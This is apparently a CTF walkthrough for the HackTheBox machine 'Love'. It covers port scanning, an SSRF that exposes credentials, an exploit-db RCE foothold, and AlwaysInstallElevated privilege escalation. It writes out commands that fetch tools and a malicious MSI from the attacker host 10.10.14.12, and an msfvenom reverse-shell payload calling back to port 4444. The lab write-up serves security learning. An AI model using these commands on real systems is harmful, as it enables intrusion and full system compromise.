Love

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.239 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see there are quite a lot of ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665 10.10.10.239 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

There is quite a lot of information. Let's start with the basics. In the first place, I see there is an HTTPS service running on port 443. Let's inspect the SSL certificate with the following command:

openssl s_client -connect 10.10.10.239:443

  • s_client implements a generic SSL/TLS client.

  • -connect tests connectivity to an HTTPS service..

At some point we should see this:

Now we know that the common name (CN) is staging.love.htb and the Organization Unit (OU) is love.htb. Let's add both to the /etc/hosts file and see if there is Virtual Hosting.

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server.

Let's see what appears with each domain name. If we open our browser, and search for http://10.10.10.239, we will see a login page that require an ID and a password.

If we search for http://staging.love.htb, we should see a Free File Scanner website.

Exploitation

All the other domain names will show us a 403 Forbidden message, so let's inspect this page a bit further. If we click on Demo, we should see something interesting. The webpage allow us to see the content of an especific URL.

Let's try something, if you look carefully at the nmap scan, you could see there is another HTTP service running on port 5000, but if try to see it's content on the browser we get the 403 Forbidden message.

But maybe we could see it's content with the utility we found on the Demo page. All we have to do is specify the http://localhost:5000 URL.

And we got some credentials! This attack is called Server Side Request Forgery (SSRF).

Server Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure.

So now we have credentials, but for what? On http://10.10.10.239 there was a login page, but it was asking for an ID and a password, and we have a user and password. So that's not going to work. Let's try to list directories with gobuster.

gobuster dir -u http://10.10.10.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

Gobuster found an /Admin directory, let's take a look at it.

This login page is a bit different, becouse it is asking for a username and a password. Let's try the credentials we found earlier.

And we got in! At this point I tried to look for common exploits on exploit-db.

Exploit-DB is a great database of exploits and proof-of-concepts used by penetration testers and vulnerability researchers.

https://www.exploit-db.com/

And I found a Authenticated Remote Code Execution script coded in python. Before running it, we have to change the website address, the username, the password, out local IP address and a port i which we will be listening on.

Let's set a netcat listener on port 8888.

nc -lvnp 8888

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And if we run the exploit, we should get a shell as the user phoebe and we could grab the user flag.

python3 exploit.py

Privilege Escalation

Time to become the NT AUTHORITY\SYSTEM user. If you try to enumerate the system manually, you will not find much. Let's run WinPEAS and see what it tell us.

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. You can download it from the official Github page:

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

Let's set a SimpleHTTPServer with python on our current directory.

python -m SimpleHTTPServer

Now on the victim machine let's run the following command in order to download the winPEAS binary from our machine.

powershell -c "wget http://10.10.14.12:8000/winPEASx64.exe -outfile winPEASx64.exe"

If we run the binary a lot of text appear. But at some point we should see the following information:

It looks like AlwaysInstallElevated is set to 1 in both HKLM and HKCU registries. If you do your research on how to escalate privileges with the AlwaysInstallElevated set to 1 in both registries, you will notice that we can run Microsoft Windows Installer Package (MSI) with system privileges.

The following link explains how to exploit this vulnerability: https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path.

As we can run MSI files with elevated privileges, the idea is to create a malicious MSI file that sends our machine a reverse shell as the NT AUTHORITY\SYSTEM user. Let's create this malicious file from our machine with msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.12 lport=4444 -f msi -o reverse.msi

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

To transfer the malicious MSI file to the victim machine we do the same process as before.

python -m SimpleHTTPServer

Now on the victim machine let's run the following command in order to download the MSI file from our machine.

powershell -c "wget http://10.10.14.12:8000/reverse.msi -outfile reverse.msi

Before running the MSI file, let's set another netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

To run the malicious MSI file we have to execute the following command:

msiexec /i reverse.msi

And we get the shell as the NT AUTHORITY\SYSTEM user. Finally, all we have to do is reap the harvest and take the root flag.

Last updated

Was this helpful?